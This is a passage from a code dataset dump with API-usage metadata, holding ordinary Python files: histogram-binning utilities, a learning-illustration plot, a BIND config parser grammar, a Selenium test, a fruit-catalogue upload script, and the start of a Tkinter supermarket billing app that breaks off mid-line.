"deeplake.core.dataset.Dataset", "line_number": 131, "usage_type": "name"}, {"api_name": "deeplake.tests.common.TENSOR_KEY", "line_number": 144, "usage_type": "argument"}, {"api_name": "numpy.ones", "line_number": 145, "usage_type": "call"}, {"api_name": "pytest.mark.xfail", "line_number": 121, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 121, "usage_type": "attribute"}, {"api_name": "deeplake.util.exceptions.SampleAppendError", "line_number": 121, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 122, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 122, "usage_type": "attribute"}, {"api_name": "deeplake.core.dataset.Dataset", "line_number": 148, "usage_type": "name"}, {"api_name": "deeplake.core.dataset.Dataset", "line_number": 163, "usage_type": "name"}, {"api_name": "deeplake.tests.common.TENSOR_KEY", "line_number": 164, "usage_type": "argument"}, {"api_name": "pytest.mark.xfail", "line_number": 162, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 162, "usage_type": "attribute"}, {"api_name": "deeplake.util.exceptions.UnsupportedCompressionError", "line_number": 162, "usage_type": "name"}, {"api_name": "deeplake.core.dataset.Dataset", "line_number": 169, "usage_type": "name"}, {"api_name": "pytest.mark.xfail", "line_number": 168, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 168, "usage_type": "attribute"}, {"api_name": "deeplake.util.exceptions.TensorMetaMissingRequiredValue", "line_number": 168, "usage_type": "name"}, {"api_name": "deeplake.core.dataset.Dataset", "line_number": 174, "usage_type": "name"}, {"api_name": "pytest.mark.xfail", "line_number": 173, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 173, "usage_type": "attribute"}, {"api_name": "deeplake.util.exceptions.TensorMetaMutuallyExclusiveKeysError", "line_number": 173, "usage_type": "name"}, {"api_name": "deeplake.constants.KB", "line_number": 184, "usage_type": "name"}, {"api_name": "deeplake.read", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 194, "usage_type": "attribute"}, {"api_name": "deeplake.read", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 197, "usage_type": "call"}, {"api_name": "deeplake.read", "line_number": 197, "usage_type": "call"}, {"api_name": "deeplake.tests.common.assert_images_close", "line_number": 201, "usage_type": "call"}, {"api_name": "deeplake.tests.common.assert_images_close", "line_number": 203, "usage_type": "call"}, {"api_name": "deeplake.read", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 213, "usage_type": "attribute"}, {"api_name": "deeplake.read", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 216, "usage_type": "call"}, {"api_name": "deeplake.read", "line_number": 216, "usage_type": "call"}, {"api_name": "deeplake.tests.common.assert_images_close", "line_number": 220, "usage_type": "call"}, {"api_name": "deeplake.tests.common.assert_images_close", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 231, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 231, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 236, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 238, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 244, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 180, "usage_type": "attribute"}, {"api_name": "av.open", "line_number": 250, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 257, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 259, "usage_type": "call"}, {"api_name": "deeplake.read", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 275, "usage_type": "attribute"}, {"api_name": "pytest.mark.skipif", "line_number": 262, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 262, "usage_type": "attribute"}, {"api_name": "os.name", "line_number": 263, "usage_type": "attribute"}, {"api_name": "sys.version_info", "line_number": 263, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 265, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 265, "usage_type": "attribute"}, {"api_name": "deeplake.compression", "line_number": 265, "usage_type": "attribute"}, {"api_name": "deeplake.read", "line_number": 284, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 278, "usage_type": "attribute"}, {"api_name": "deeplake.read", "line_number": 299, "usage_type": "call"}, {"api_name": "deeplake.read", "line_number": 300, "usage_type": "call"}, {"api_name": "deeplake.read", "line_number": 301, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 302, "usage_type": "attribute"}, {"api_name": "deeplake.read", "line_number": 305, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 306, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 306, "usage_type": "attribute"}, {"api_name": "deeplake.read", "line_number": 310, "usage_type": "call"}, {"api_name": "deeplake.read", "line_number": 311, "usage_type": "call"}, {"api_name": "deeplake.read", "line_number": 312, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 313, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 313, "usage_type": "attribute"}, {"api_name": "deeplake.read", "line_number": 316, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 317, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 317, "usage_type": "attribute"}, {"api_name": "deeplake.read", "line_number": 328, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 329, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 329, "usage_type": "attribute"}, {"api_name": "deeplake.read", "line_number": 331, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 332, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 334, "usage_type": "call"}, {"api_name": "deeplake.util.exceptions.SampleAppendError", "line_number": 334, "usage_type": "argument"}, {"api_name": "pytest.raises", "line_number": 337, "usage_type": "call"}, {"api_name": "deeplake.util.exceptions.TensorMetaMissingRequiredValue", "line_number": 337, "usage_type": "argument"}, {"api_name": "pytest.raises", "line_number": 340, "usage_type": "call"}, {"api_name": "deeplake.util.exceptions.TensorMetaMissingRequiredValue", "line_number": 340, "usage_type": "argument"}]}
{"seq_id": "36405482819", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom pylfi.utils.stats import iqr\nfrom scipy import optimize, special\n\n\ndef histplot(data, ax=None, bins=10, **kwargs):\n    \"\"\"\n    Histogram plot\n\n    Parameters\n    ----------\n    data : array_like\n        data\n    ax : Axes, optional\n        Axes object. Default is None.\n    \"\"\"\n    if ax is None:\n        ax = plt.gca()\n    counts, bins = histogram(data, bins=bins)\n    ax.hist(bins[:-1], bins=bins, weights=counts, histtype='bar',\n            edgecolor=None, color='steelblue', alpha=0.9, **kwargs)\n\n\ndef rugplot(data, ax=None, pos=-0.005, **kwargs):\n    \"\"\"\n    Rug plot\n    \"\"\"\n    if ax is None:\n        ax = plt.gca()\n    ax.plot(data,\n            np.full_like(data, pos),\n            '|k',\n            markeredgewidth=1,\n            **kwargs\n            )\n\n\ndef densityplot(x, density, ax=None, fill=True, **kwargs):\n    \"\"\"\n    Density plot\n    \"\"\"\n    if ax is None:\n        ax = plt.gca()\n\n    if fill:\n        ax.fill_between(x, density, alpha=0.5, **kwargs)\n    else:\n        ax.plot(x, density, **kwargs)\n\n\ndef histogram(data, bins=10, density=True, **kwargs):\n    \"\"\"\n    \"\"\"\n    bins = calculate_bins(data, bins=bins)\n    return np.histogram(data, bins=bins, density=density, **kwargs)\n\n\ndef calculate_bins(data, bins):\n    \"\"\"\n    \"\"\"\n    if isinstance(bins, str):\n        data = np.asarray(data).ravel()\n\n        if bins == \"sqrt\":\n            bins = square_root_rule(data)\n        elif bins == \"sturges\":\n            bins = sturges_rule(data)\n        elif bins == \"scott\":\n            bins = scotts_rule(data)\n        elif bins == \"freedman\":\n            bins = freedman_diaconis_rule(data)\n        elif bins == \"knuth\":\n            bins = knuths_rule(data)\n        else:\n            msg = (f\"Unrecognized bin rule: '{bins}'. Supported rules are: \"\n                   \"'sqrt', 'sturges', 'scott', 'freedman', 'knuth'\")\n            raise ValueError(msg)\n\n    return bins\n\n\ndef square_root_rule(data):\n    \"\"\"\n    Calculate number of histogram bins using the Square-root rule.\n    \"\"\"\n    data = np.asarray(data)\n    check_1D_data(data)\n    n = data.size\n    return int(np.ceil(np.sqrt(n)))\n\n\ndef sturges_rule(data):\n    \"\"\"\n    Calculate number of histogram bins using Sturges' rule.\n    \"\"\"\n    data = np.asarray(data)\n    check_1D_data(data)\n    check_number_of_entries(data, n_entries=1)\n    n = data.size\n    return int(np.ceil(np.log2(n)) + 1)\n\n\ndef scotts_rule(data):\n    \"\"\"\n    Calculate the optimal histogram bin width using Scott's rule.\n\n    References\n    ----------\n    Scott, David W. (1979).\n    \"On optimal and data-based histograms\".\n    Biometricka 66 (3): 605-610\n    \"\"\"\n    data = np.asarray(data)\n    check_1D_data(data)\n    check_number_of_entries(data, n_entries=1)\n\n    n = data.size\n    dmin, dmax = data.min(), data.max()\n    h = 3.49 * np.std(data) * n**(-1 / 3)\n    k = int(np.ceil((dmax - dmin) / h))\n    bins = dmin + h * np.arange(k + 1)\n\n    return bins\n\n\ndef freedman_diaconis_rule(data):\n    \"\"\"\n    Calculate the optimal histogram bin width using the Freedman-Diaconis rule.\n\n    References\n    ----------\n    D. Freedman & P. Diaconis. (1981).\n    \"On the histogram as a density estimator: L2 theory\".\n    Probability Theory and Related Fields 57 (4): 453-476\n    \"\"\"\n    data = np.asarray(data)\n    check_1D_data(data)\n    check_number_of_entries(data, n_entries=3)\n\n    n = data.size\n    dmin, dmax = data.min(), data.max()\n    h = 2 * iqr(data) * n**(-1 / 3)\n\n    if h == 0:\n        bins = scotts_rule(data)\n    else:\n        k = int(np.ceil((dmax - dmin) / h))\n        bins = dmin + h * np.arange(k + 1)\n\n    return bins\n\n\ndef knuths_rule(data):\n    \"\"\"\n    Knuth’s rule chooses a constant bin size which minimizes the error of the\n    histogram’s approximation to the data\n\n    Based on the implementation in astropy:\n    https://docs.astropy.org/en/stable/_modules/astropy/stats/histogram.html#knuth_bin_width\n\n    References\n    ----------\n    Knuth, K.H. (2006).\n    \"Optimal Data-Based Binning for Histograms\".\n    arXiv:0605197\n    \"\"\"\n    data = np.array(data, copy=True)\n    check_1D_data(data)\n    check_number_of_entries(data, n_entries=3)\n\n    n = data.size\n    data.sort()\n\n    def knuth_func(M):\n        \"\"\"Evaluate the negative Knuth likelihood function => smaller values optimal\"\"\"\n        M = int(M)\n\n        if M <= 0:\n            return np.inf\n\n        bins = np.linspace(data[0], data[-1], int(M) + 1)\n        nk, bins = np.histogram(data, bins)\n\n        return -(n * np.log(M) +\n                 special.gammaln(0.5 * M) -\n                 M * special.gammaln(0.5) -\n                 special.gammaln(n + 0.5 * M) +\n                 np.sum(special.gammaln(nk + 0.5)))\n\n    bins0 = freedman_diaconis_rule(data)\n    M = optimize.fmin(knuth_func, len(bins0), disp=False)[0]\n    bins = np.linspace(data[0], data[-1], int(M) + 1)\n\n    return bins\n\n\ndef check_1D_data(data):\n    \"\"\"Check that data is one-dimensional\"\"\"\n    if data.ndim != 1:\n        msg = (\"data must be one-dimensional\")\n        raise ValueError(msg)\n\n\ndef check_number_of_entries(data, n_entries=1):\n    \"\"\"Check that data has more than specified number of entries\"\"\"\n    if not data.size > n_entries:\n        msg = (f\"Data should have more than {n_entries} entries\")\n        raise ValueError(msg)\n\n\nif __name__ == \"__main__\":\n    from matplotlib import gridspec\n\n    def make_data(N, f=0.3, rseed=1):\n        rand = np.random.RandomState(rseed)\n        x = rand.randn(N)\n        x[int(f * N):] += 5\n        return x\n\n    data = make_data(500)\n\n    rules = [30, 'sqrt', 'sturges', 'scott', 'freedman', 'knuth']\n\n    fig = plt.figure(figsize=(10, 6), tight_layout=True, dpi=120)\n    gs = gridspec.GridSpec(ncols=3, nrows=2, figure=fig)\n\n    for i, rule in enumerate(rules):\n        ax = fig.add_subplot(gs[i])\n        histplot(data, ax, bins=rule, label=f\"bins = {rule}\")\n        rugplot(data, ax)\n        ax.set_xlabel(\"$x$\")\n        ax.set_ylabel(\"Density\")\n        ax.legend(loc=\"upper left\")\n\n    plt.show()\n", "repo_name": "nicolossus/pylfi", "sub_path": "pylfi/utils/plotting.py", "file_name": "plotting.py", "file_ext": "py", "file_size_in_byte": 6059, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.gca", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.full_like", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.histogram", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.log2", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 140, "usage_type": "call"}, {"api_name": "pylfi.utils.stats.iqr", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 183, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 188, "usage_type": "call"}, {"api_name": "scipy.special.gammaln", "line_number": 189, "usage_type": "call"}, {"api_name": "scipy.special", "line_number": 189, "usage_type": "name"}, {"api_name": "scipy.special.gammaln", "line_number": 190, "usage_type": "call"}, {"api_name": "scipy.special", "line_number": 190, "usage_type": "name"}, {"api_name": "scipy.special.gammaln", "line_number": 191, "usage_type": "call"}, {"api_name": "scipy.special", "line_number": 191, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 192, "usage_type": "call"}, {"api_name": "scipy.special.gammaln", "line_number": 192, "usage_type": "call"}, {"api_name": "scipy.special", "line_number": 192, "usage_type": "name"}, {"api_name": "scipy.optimize.fmin", "line_number": 195, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 195, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.random.RandomState", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 219, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 228, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 228, "usage_type": "name"}, {"api_name": "matplotlib.gridspec.GridSpec", "line_number": 229, "usage_type": "call"}, {"api_name": "matplotlib.gridspec", "line_number": 229, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 239, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 239, "usage_type": "name"}]}
{"seq_id": "8283795228", "text": "# coding: utf-8\n\"\"\"smp_graphs thesis batch learning vs. online learning\n\nMake illustrative plot that describes the transition from standard\nbatch learning to single time step incremental learning.\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndurs = np.logspace(1, 10, 4, base=2)[::-1]\n# fig = plt.figure(figsize=(12, 6))\nfig = plt.figure(figsize=(6, 12))\nepisodes = []\nfor j, dur in enumerate(durs):\n    episodes.append(np.random.uniform(-1, 1, (int(dur), 2)))\n    episodes[-1][0,:] = 0.\n    for i, t_i in enumerate(episodes[-1][1:]):\n        episodes[-1][i+1] = episodes[-1][i] + np.random.normal(0, 0.1, episodes[-1][i].shape)\n        # np.putmask(episodes[-1][i+1], np.abs(episodes[-1][i+1]) > np.array([1, 1]), episodes[-1][i+1] + 2 * (1 - np.abs(episodes[-1][i+1])))\n        res_ = episodes[-1][i+1] - np.clip(episodes[-1][i+1], -1, 1)\n        episodes[-1][i+1] -= 2*res_\n    # ax = fig.add_subplot(2, 4, j+1)\n    ax = fig.add_subplot(4, 2, (j*2)+1)\n    ax.plot(episodes[-1][:,0], episodes[-1][:,1], 'b-', marker=',', alpha=0.5)\n    ax.plot(episodes[-1][-1,0], episodes[-1][-1,1], 'bo', marker='o', alpha=0.8)\n    ax.set_xlim((-1.1, 1.1))\n    ax.set_ylim((-1.1, 1.1))\n    # ax.set_title('Episode of %d steps' % (dur-1))\n    ax.set_ylabel('Episode of %d steps' % (dur-1), fontsize=8)\n    ax.set_aspect(1)\n    # ax.set_axis_off()\n    ax.set_xticks([])\n    ax.set_yticks([])\n    ax.set_frame_on(False)\n    # ax = fig.add_subplot(2, 4, 4+j+1)\n    ax = fig.add_subplot(4, 2, (j*2)+2)\n    ax.plot(episodes[-1])\n    ax.set_xlim((-10, 1033))\n    ax.set_ylim((-1.1, 1.1))\n    ax.set_aspect(400)\n    # ax.set_axis_off()\n    ax.set_xticks([])\n    ax.set_yticks([])\n    ax.set_frame_on(False)\n    \n# fig.subplots_adjust(wspace=0.1, hspace=0.05)\nfig.subplots_adjust(wspace=0.05, hspace=0.2)\nfig.show()\nfig.savefig('im-batch-to-single.pdf', bbox_inches='tight')\n\nplt.show()\n\n", "repo_name": "x75/smp_graphs", "sub_path": "doc/im-batch-to-single.py", "file_name": "im-batch-to-single.py", "file_ext": "py", "file_size_in_byte": 1877, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.logspace", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "numpy.random.uniform", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}]}
{"seq_id": "74919637371", "text": "#!/usr/bin/env python3\n\"\"\"\nFile: isc_viewzone.py\n\nClause: view, zone\n\nTitle: Statements Used Only By view And zone Clauses\n\nDescription: isc_viewzone contains all parse elements pertaining\n             to both options and zone (but not view)\n\"\"\"\nfrom pyparsing import CaselessKeyword, OneOrMore, Keyword\nfrom bind9_parser.isc_utils import semicolon, database_name_type\nfrom bind9_parser.isc_clause_dlz import dlz_name_type\n\n\nviewzone_stmt_database = (\n    Keyword('database').suppress()\n    - database_name_type('database')\n    + semicolon\n)\n\n#  dlz <dlz_name>;  [ View Zone ]\n#  See isc_dlz.clause_stmt_dlz_series for full DLZ-clause syntax in\n#      which views/zones' DLZ references to.\nviewzone_stmt_dlz = (\n    CaselessKeyword('dlz').suppress()\n    - dlz_name_type('dlz')\n    + semicolon\n)\n\n# Keywords are in dictionary-order, but with longest pattern as\n# having been listed firstly\n#\n# This statement set is to be used by either 'view' or 'zone' clause\nviewzone_statements_set = (\n    viewzone_stmt_database\n    | viewzone_stmt_dlz\n)\n\nviewzone_statements_series = OneOrMore(viewzone_statements_set)\n", "repo_name": "egberts/bind9_parser", "sub_path": "bind9_parser/isc_viewzone.py", "file_name": "isc_viewzone.py", "file_ext": "py", "file_size_in_byte": 1106, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pyparsing.Keyword", "line_number": 18, "usage_type": "call"}, {"api_name": "bind9_parser.isc_utils.database_name_type", "line_number": 19, "usage_type": "call"}, {"api_name": "bind9_parser.isc_utils.semicolon", "line_number": 20, "usage_type": "name"}, {"api_name": "pyparsing.CaselessKeyword", "line_number": 27, "usage_type": "call"}, {"api_name": "bind9_parser.isc_clause_dlz.dlz_name_type", "line_number": 28, "usage_type": "call"}, {"api_name": "bind9_parser.isc_utils.semicolon", "line_number": 29, "usage_type": "name"}, {"api_name": "pyparsing.OneOrMore", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "10928640900", "text": "from selenium import webdriver\nimport os\n\nclass Test():\n   def Testmethod(self):\n#\n        driverLocation = \"C:\\\\Users\\\\adiwakar\\Documents\\\\Selenium Browser files\\Library\\\\IEDriverServer.exe\"\n        os.environ[\"webdriver.driver.ie\"]= driverLocation\n        driver= webdriver.Ie(driverLocation)\n        driver.get(\"https://google.com\")\nTT=Test()\nTT.Testmethod()\n\n", "repo_name": "as3379/Selenium-with-Python", "sub_path": "Basics/IETest.py", "file_name": "IETest.py", "file_ext": "py", "file_size_in_byte": 363, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ", "line_number": 8, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.Ie", "line_number": 9, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 9, "usage_type": "name"}]}
{"seq_id": "6331134874", "text": "#!/usr/bin/env python3\nimport os\nimport requests\n\n# Setup directories to process and upload the fruit descriptions\nurl = \"http://[linux-instance-external-IP]/fruits/\"\nhome = os.path.expanduser(\"~\")\ndirectory = home + \"/supplier-data/descriptions\"\nfl_lst = os.listdir(directory)\nlst_desc = []\n\n# Loop through the files to process the fruit descriptions\nfor file in fl_lst:\n    file_dir = os.path.join(directory, file)\n    with open(file_dir, 'rb') as desc:\n        # Populate list with the fruit descriptions organized into\n        # dictionaries for JSON conversion\n        txt = []\n        fruit_desc = {}\n        for line in desc:\n            txt.append(str(line.rstrip(), 'UTF-8'))\n        fruit_desc[\"name\"] = txt[0]\n        weight = int(txt[1].split()[0])\n        fruit_desc[\"weight\"] = weight\n        fruit_desc[\"description\"] = txt[2]\n        image_name = file.split(\".\")[0] + \".jpeg\"\n        fruit_desc[\"image_name\"] = image_name\n        lst_desc.append(fruit_desc)\n\n# Send each fruit description to the local website as a json file\nfor fruit in lst_desc:\n    r = requests.post(url, json=fruit)\n", "repo_name": "FalconsEye614/automation_certificate_scripts", "sub_path": "Final_Lab/run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 1103, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.expanduser", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "requests.post", "line_number": 32, "usage_type": "call"}]}
{"seq_id": "3977716030", "text": "import random\nfrom tkinter import *\nfrom tkinter import messagebox\nfrom openpyxl import load_workbook\n# -*- coding: UTF-8 -*-\n\n\nclass supermarket:\n    def __init__(self, root):\n        self.root = root\n        self.root.geometry('1250x690+60+2')\n        self.root.title('Supermarket System')\n        self.root.resizable(False, False)\n        title = Label(self.root, text='SuperMarket System', fg='white', bg='#0B2F3A', font=('tajawal', 16))\n        title.pack(fill=X)\n        # ============ V Customer =========\n        self.name = StringVar()\n        self.phone = StringVar()\n        self.bill = StringVar()\n        x = random.randint(1, 100)\n        self.bill.set(str(x))\n\n        self.x = IntVar()\n\n        # =========== V section 1 ========\n        self.s1 = IntVar()\n        self.s2 = IntVar()\n        self.s3 = IntVar()\n        self.s4 = IntVar()\n        self.s5 = IntVar()\n        self.s6 = IntVar()\n        self.s7 = IntVar()\n        self.s8 = IntVar()\n        self.s9 = IntVar()\n        self.s10 = IntVar()\n        self.s11 = IntVar()\n        self.s12 = IntVar()\n        self.s13 = IntVar()\n        self.s14 = IntVar()\n        self.s15 = IntVar()\n\n        # =========== V section 2 ========\n        self.ss1 = IntVar()\n        self.ss2 = IntVar()\n        self.ss3 = IntVar()\n        self.ss4 = IntVar()\n        self.ss5 = IntVar()\n        self.ss6 = IntVar()\n        self.ss7 = IntVar()\n        self.ss8 = IntVar()\n        self.ss9 = IntVar()\n        self.ss10 = IntVar()\n        self.ss11 = IntVar()\n        self.ss12 = IntVar()\n        self.ss13 = IntVar()\n        self.ss14 = IntVar()\n        self.ss15 = IntVar()\n\n        # =========== V section 3 ========\n        self.sss1 = IntVar()\n        self.sss2 = IntVar()\n        self.sss3 = IntVar()\n        self.sss4 = IntVar()\n        self.sss5 = IntVar()\n        self.sss6 = IntVar()\n        self.sss7 = IntVar()\n        self.sss8 = IntVar()\n        self.sss9 = IntVar()\n        self.sss10 = IntVar()\n        self.sss11 = IntVar()\n        self.sss12 = IntVar()\n        self.sss13 = IntVar()\n        self.sss14 = IntVar()\n        self.sss15 = IntVar()\n\n        # =========== V total =============\n        self.section1 = StringVar()\n        self.section2 = StringVar()\n        self.section3 = StringVar()\n\n        # ============custumer Data===============#\n        F1 = Frame(root, bd=2, width=310, height=170, bg='#0B4C5f')\n        F1.place(x=938, y=31)\n        txt1 = Label(F1, text='CUSTOMER INFO', font=('tajawal', 13, 'bold'), fg='white', bg='#0B4C5f')\n        txt1.place(x=100, y=0)\n        cust_name = Label(F1, text='Name', font=('tajawal', 12), fg='white', bg='#0B4C5f')\n        cust_name.place(x=5, y=40)\n        cust_phone = Label(F1, text='Phone', font=('tajawal', 12), fg='white', bg='#0B4C5f')\n        cust_phone.place(x=5, y=70)\n        cust_bill = Label(F1, text='Bill Num', font=('tajawal', 12), fg='white', bg='#0B4C5f')\n        cust_bill.place(x=5, y=100)\n\n        En_name = Entry(F1, textvariable=self.name, justify='center')\n        En_name.place(x=104, y=40)\n        En_phone = Entry(F1, textvariable=self.phone, justify='center')\n        En_phone.place(x=104, y=70)\n        En_bill = Entry(F1, textvariable=self.bill, justify='center')\n        En_bill.place(x=104, y=100)\n\n        btn_cust = Button(F1, text='search', font=('tajawal', 10), width=17, height=1, bg='silver', fg='black')\n        btn_cust.place(x=104, y=130)\n\n        # ==============BILL=================#\n        F2 = Frame(root, bd=2, width=309, height=320, bg='silver')\n        F2.place(x=938, y=205)\n        scrol_y = Scrollbar(F2, orient=VERTICAL)\n        self.txtarea = Text(F2, yscrollcommand=scrol_y.set)\n        scrol_y.pack(side=LEFT, fill=Y)\n        scrol_y.config(command=self.txtarea.yview)\n        self.txtarea.pack(fill=BOTH, expand=1)\n\n        # ===============PRICE=================#\n        F3 = Frame(root, bd=2, width=605, height=130, bg='#0B4C5f')\n        F3.place(x=642, y=558)\n        total = Button(F3, text='TOTAL', width=8, height=1, fg='black', bg='silver', font=('tajawal', 10),\n                       command=self.total)\n        total.place(x=500, y=5)\n        bill = Button(F3, text='EXPORT', width=8, height=1, fg='black', bg='silver', font=('tajawal', 10),\n                      command=self.billl)\n        bill.place(x=500, y=44)\n        clear = Button(F3, text='CLEAR', width=8, height=1, fg='black', bg='silver', font=('tajawal', 10),\n                       command=self.clear)\n        clear.place(x=500, y=83)\n\n        txt2 = Label(F3, text='Section 1', font=('tajawal', 15, 'bold'), bg='#0B4C5f', fg='silver')\n        txt2.place(x=5, y=10)\n        txt3 = Label(F3, text='Section 2', font=('tajawal', 15, 'bold'), bg='#0B4C5f', fg='silver')\n        txt3.place(x=5, y=50)\n        txt4 = Label(F3, text='Section 3', font=('tajawal', 15, 'bold'), bg='#0B4C5f', fg='silver')\n        txt4.place(x=5, y=90)\n\n        En_1 = Entry(F3, textvariable=self.section1, width=24, justify='center')\n        En_1.place(x=280, y=10)\n        En_2 = Entry(F3, textvariable=self.section2, width=24, justify='center')\n        En_2.place(x=280, y=50)\n        En_3 = Entry(F3, textvariable=self.section3, width=24, justify='center')\n        En_3.place(x=280, y=90)\n\n        # ===================ITems[1]=====================\n        F4 = Frame(root, width=318, height=660, bg='#0B4C5f')\n        F4.place(x=1, y=31)\n        text4 = Label(F4, text=\"( Juices and frozen )\", font=('tajawal', 15, 'bold'), bg='#0B4C5f', fg='silver')\n        text4.place(x=60, y=0)\n\n        l1 = Label(F4, text='Burger', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l1.place(x=10, y=50)\n        l2 = Label(F4, text='Mozzarella', font=('tajawal', 12), bg='#0B4C5f', fg='white')\n        l2.place(x=10, y=95)\n        l3 = Label(F4, text='Element 3', font=('tajawal', 12), 